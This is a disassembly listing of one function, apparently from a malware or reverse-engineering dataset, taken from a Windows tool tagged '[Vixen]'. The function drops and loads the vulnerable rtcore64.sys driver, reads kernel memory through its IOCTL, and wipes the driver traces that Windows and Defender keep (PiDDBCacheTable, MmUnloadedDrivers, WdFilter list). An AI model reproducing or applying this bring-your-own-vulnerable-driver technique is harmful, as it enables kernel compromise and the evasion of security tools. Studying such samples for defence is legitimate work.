Function at 0x140004620
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140024040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
movzx r12d, cl
xor r13d, r13d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, str.systemroot
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov rdx, qword [rbp - 0x78]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400046b0
lea rcx, [rsp + 0x40]
call fcn.14000cad0
nop
mov r8d, 0x14
lea rdx, str.System32win32k.sys
lea rcx, [rsp + 0x40]
call fcn.14000a1e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004739
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004734
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004734
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140014020
movdqa xmm0, xmmword [0x14001dcd0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x60]
mov qword [rbp - 0x70], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov r8d, 0x2b
lea rdx, str.https:__msdl.microsoft.com_download_symbols
lea rcx, [rsp + 0x60]
call fcn.14000cad0
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140009a80
nop
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140003bd0
nop
lea rcx, [rbp - 0x40]
call fcn.140003d20
test al, al
jne 0x1400047dc
lea rdx, str._Vixen____Failed_to_Load_PDB
jmp 0x1400048f1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov r8d, 0x16
lea rdx, str.NtUserSetGestureConfig
lea rcx, [rsp + 0x40]
call fcn.14000cad0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
mov dword [rbp + 0xd4], eax
mov dword [rbp + 0x80], 0x58
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea r8, [rbp + 0x80]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymFromName]
mov rdx, qword [rsp + 0x58]
test eax, eax
jne 0x14000489e
cmp rdx, 0xf
jbe 0x1400048ea
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004897
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400048d9
call fcn.140014020
jmp 0x1400048ea
mov esi, dword [rbp + 0xb8]
sub esi, dword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400048e5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140014020
cmp esi, 0xffffffff
jne 0x140004912
lea rdx, str._Vixen____Failed_to_Load_Symbol_of_NtUserSetGestureConfig
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4b0
lea rdx, [0x14000a690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140004f12
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140024bb0], xmm0
movups xmmword [0x140024bc0], xmm0
movups xmmword [0x140024bd0], xmm0
movups xmmword [0x140024be0], xmm0
movups xmmword [0x140024bf0], xmm0
movups xmmword [0x140024c00], xmm0
mov dword [0x140024c10], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd r14, r8d
test r8d, r8d
jle 0x1400049dd
mov rbx, r13
lea r15, [0x140000000]
movabs r13, 0x4ec4ec4ec4ec4ec5
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r13
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + r15 + 0x1c790]
mov byte [rbx + r15 + 0x24bb0], al
inc rbx
cmp rbx, r14
jl 0x1400049a7
xor r13d, r13d
lea rdx, str._Vixen____UnKnown_was_here_Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4b0
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.140004100
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140004a0c
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.14000d530
lea rdx, [0x14000a690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004a6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140014020
lea rcx, [rbp - 0x68]
call fcn.140004320
nop
cmp qword [rbp - 0x58], 0
jne 0x140004aa6
lea rdx, str._Vixen____Cant_find_TEMP_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4b0
lea rdx, [0x14000a690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140004ebe
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xe0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rdx, qword [rbp - 0x68]
lea rcx, [rbp + 0xe0]
call fcn.1400089e0
nop
mov r8d, 0x36c8
lea rdx, [0x140018e90]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0xe8]
test al, al
je 0x140004b64
call fcn.140009e80
test rax, rax
jne 0x140004b4c
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xe0]
call fcn.140004040
lea rdx, str._Vixen____Failed_to_create_vulnerable_driver_file
jmp 0x140004a85
call fcn.140009e80
test rax, rax
jne 0x140004b92
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xe0]
call fcn.140004040
lea rcx, [rbp - 0x68]
call fcn.1400128d0
test al, al
jne 0x140004be7
lea rdx, str._Vixen____Failed_to_register_and_start_service_for_the_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4b0
lea rdx, [0x14000a690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140004ebe
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [0x140016a50]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140024c20], rax
cmp rax, 0xffffffffffffffff
jne 0x140004c2d
lea rdx, str._Vixen____Failed_to_load_driver_rtcore64.sys
jmp 0x140004e99
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0xc
lea rdx, [0x140016e00]
lea rcx, [rsp + 0x60]
call fcn.14000cad0
nop
lea rcx, [rsp + 0x60]
call fcn.140013280
mov qword [0x140024ba8], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004cae
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ca2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ca2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140014020
mov rax, qword [0x140024ba8]
test rax, rax
jne 0x140004cbf
lea rdx, str._Vixen____Failed_to_get_ntoskrnl.exe
jmp 0x140004e99
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0xa
lea rdx, str.win32k.sys
lea rcx, [rsp + 0x60]
call fcn.14000cad0
nop
lea rcx, [rsp + 0x60]
call fcn.140013280
mov rbx, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004d35
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140014020
test rbx, rbx
jne 0x140004d52
lea rdx, str._Vixen____win32k.sys_not_found
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a8b0
jmp 0x140004eb5
movsxd rdx, esi
add rdx, rbx
lea rax, [0x140016e90]
mov qword [rsp + 0x20], rax
lea r9, [0x140016e94]
mov r8d, pe_nt_image_headers64
call fcn.140007b20
mov r14, rax
test rax, rax
je 0x140004e92
mov dword [rbp - 0x70], r13d
mov rbx, r13
lea rcx, [rbp - 0x70]
mov r15, rax
sub r15, rcx
add r15, 3
nop word [rax + rax]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3c], xmm0
mov dword [rbp + 0x4c], r13d
lea rsi, [rbp - 0x70]
add rsi, rbx
lea rax, [rsi + r15]
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x38], 1
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x30
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x20]
mov edx, 0x80002048
mov rcx, qword [0x140024c20]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140004e92
movzx eax, byte [rbp + 0x3c]
mov byte [rsi], al
inc rbx
cmp rbx, 4
jb 0x140004da0
movsxd rcx, dword [rbp - 0x70]
add rcx, 7
add rcx, r14
mov qword [0x140024ba0], rcx
test r12b, r12b
je 0x140004e8d
call fcn.1400072e0
test al, al
jne 0x140004e41
lea rdx, str._Vixen____Failed_to_ClearPiDDBCacheTable
jmp 0x140004e99
mov rcx, rdi
call fcn.140007ec0
test al, al
jne 0x140004e56
lea rdx, str._Vixen____Failed_to_ClearKernelHashBucketList
jmp 0x140004e99
mov rcx, qword [0x140024c20]
call fcn.140006850
test al, al
jne 0x140004e6f
lea rdx, str._Vixen____Failed_to_ClearMmUnloadedDrivers
jmp 0x140004e99
call fcn.140005050
test al, al
jne 0x140004e8d
lea rdx, str._Vixen____Failed_to_ClearWdFilterDriverList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a8b0
jmp 0x140004ea5
mov rdi, r13
jmp 0x140004ebe
lea rdx, str._Vixen____NtUserSetGestureConfig_not_found
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4b0
lea rdx, [0x14000a690]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call fcn.140005ac0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140004f01
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004efc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004efc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140014020
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
cmp byte [rbp - 0x1f], 0
je 0x140004f45
mov edx, 0x10000000
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140004f7c
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004fbe
call fcn.140014020
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140004fca
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fc5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140014020
movdqa xmm0, xmmword [0x14001dcd0]
movdqa xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140005019
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005014
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005014
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140014020
mov rax, rdi
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140014000
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret